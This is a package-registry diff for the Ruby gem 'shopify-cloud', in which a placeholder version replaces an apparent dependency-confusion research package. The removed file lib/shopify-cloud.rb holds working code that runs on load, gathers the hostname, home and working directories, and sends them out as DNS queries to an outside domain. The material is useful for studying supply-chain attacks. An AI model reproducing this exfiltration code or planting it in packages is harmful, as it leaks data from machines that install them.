shopify-cloud 2300.4.2 → 9001.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/Gemfile +0 -0
- data/Rakefile +0 -0
- data/VERSION +1 -0
- data/lib/gem.rb +1 -0
- metadata +15 -14
- data/lib/shopify-cloud.rb +0 -64
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 879a877f879f1e403e5c51097e76e5d641383ed0809004f04a10544f080c9d6b
|
|
4
|
+
data.tar.gz: 6aca7d0925e8b55c739f16659cd06756b78e610f36a8b506dc9ab6cecdf4fe1e
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 3ebc951d4823b6cafc8252984711e0d205450a7cc52f9f05516e032634124c969e510b7abb5899781f3fd4f41330abd022a5dbb0968a403a485e8806a15add14
|
|
7
|
+
data.tar.gz: b1e5cab9df1e8bbf2d651b3d86cafdc3a226f99da2266eecc66304a66e7c3effe4120decb5cb738bad61d4d755b45a9bbe3e34405f6463132080bef681cd028a
|
data/Gemfile
ADDED
|
File without changes
|
data/Rakefile
ADDED
|
File without changes
|
data/VERSION
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
1000.0
|
data/lib/gem.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
raise 'this is an internal-only gem'
|
metadata
CHANGED
|
@@ -1,28 +1,29 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: shopify-cloud
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version:
|
|
4
|
+
version: '9001.0'
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
|
-
-
|
|
8
|
-
autorequire:
|
|
7
|
+
- admins@shopify.com
|
|
8
|
+
autorequire:
|
|
9
9
|
bindir: bin
|
|
10
10
|
cert_chain: []
|
|
11
|
-
date: 2020-
|
|
11
|
+
date: 2020-01-01 00:00:00.000000000 Z
|
|
12
12
|
dependencies: []
|
|
13
|
-
description:
|
|
14
|
-
|
|
15
|
-
email: alex@ethicalhack.ro
|
|
13
|
+
description:
|
|
14
|
+
email:
|
|
16
15
|
executables: []
|
|
17
16
|
extensions: []
|
|
18
17
|
extra_rdoc_files: []
|
|
19
18
|
files:
|
|
20
|
-
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
-
|
|
19
|
+
- Gemfile
|
|
20
|
+
- Rakefile
|
|
21
|
+
- VERSION
|
|
22
|
+
- lib/gem.rb
|
|
23
|
+
homepage:
|
|
24
|
+
licenses: []
|
|
24
25
|
metadata: {}
|
|
25
|
-
post_install_message:
|
|
26
|
+
post_install_message:
|
|
26
27
|
rdoc_options: []
|
|
27
28
|
require_paths:
|
|
28
29
|
- lib
|
|
@@ -38,7 +39,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
|
|
|
38
39
|
version: '0'
|
|
39
40
|
requirements: []
|
|
40
41
|
rubygems_version: 3.0.3
|
|
41
|
-
signing_key:
|
|
42
|
+
signing_key:
|
|
42
43
|
specification_version: 4
|
|
43
|
-
summary:
|
|
44
|
+
summary: placeholder gem
|
|
44
45
|
test_files: []
|
data/lib/shopify-cloud.rb
DELETED
|
@@ -1,64 +0,0 @@
|
|
|
1
|
-
|
|
2
|
-
=begin
|
|
3
|
-
|
|
4
|
-
This code is used for research purposes.
|
|
5
|
-
|
|
6
|
-
No sensitive data is retrieved.
|
|
7
|
-
|
|
8
|
-
Callbacks from within organizations with a
|
|
9
|
-
responsible disclosure policy will be reported
|
|
10
|
-
directly to the organizations.
|
|
11
|
-
|
|
12
|
-
Any other callbacks will be ignored, and
|
|
13
|
-
any associated data will not be kept.
|
|
14
|
-
|
|
15
|
-
For any questions or suggestions:
|
|
16
|
-
|
|
17
|
-
alex@ethicalhack.ro
|
|
18
|
-
https://twitter.com/alxbrsn
|
|
19
|
-
|
|
20
|
-
=end
|
|
21
|
-
|
|
22
|
-
require 'socket'
|
|
23
|
-
require 'json'
|
|
24
|
-
require 'resolv'
|
|
25
|
-
|
|
26
|
-
suffix = '.dns.alexbirsan-hacks-paypal.com'
|
|
27
|
-
ns = 'dns1.alexbirsan-hacks-paypal.com'
|
|
28
|
-
|
|
29
|
-
package = 'shopify-cloud'
|
|
30
|
-
|
|
31
|
-
# only the bare minimum to be able to identify
|
|
32
|
-
# a vulnerable organization
|
|
33
|
-
data = {
|
|
34
|
-
'p' => package,
|
|
35
|
-
'h' => Socket.gethostname,
|
|
36
|
-
'd' => File.expand_path('~'),
|
|
37
|
-
'c' => Dir.pwd
|
|
38
|
-
}
|
|
39
|
-
|
|
40
|
-
data = JSON.generate(data)
|
|
41
|
-
data = data.unpack('H*')[0].scan(/.{1,60}/)
|
|
42
|
-
|
|
43
|
-
id_1 = rand(36**12).to_s(36)
|
|
44
|
-
id_2 = rand(36**12).to_s(36)
|
|
45
|
-
|
|
46
|
-
begin
|
|
47
|
-
ns_ip = Resolv.getaddress(ns)
|
|
48
|
-
rescue
|
|
49
|
-
ns_ip = '4.4.4.4'
|
|
50
|
-
end
|
|
51
|
-
|
|
52
|
-
custom_res = Resolv.new([Resolv::Hosts.new,
|
|
53
|
-
Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
data.each.each_with_index do |chunk, idx|
|
|
57
|
-
begin
|
|
58
|
-
Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
|
59
|
-
rescue; end
|
|
60
|
-
|
|
61
|
-
begin
|
|
62
|
-
custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
|
|
63
|
-
rescue; end
|
|
64
|
-
end
|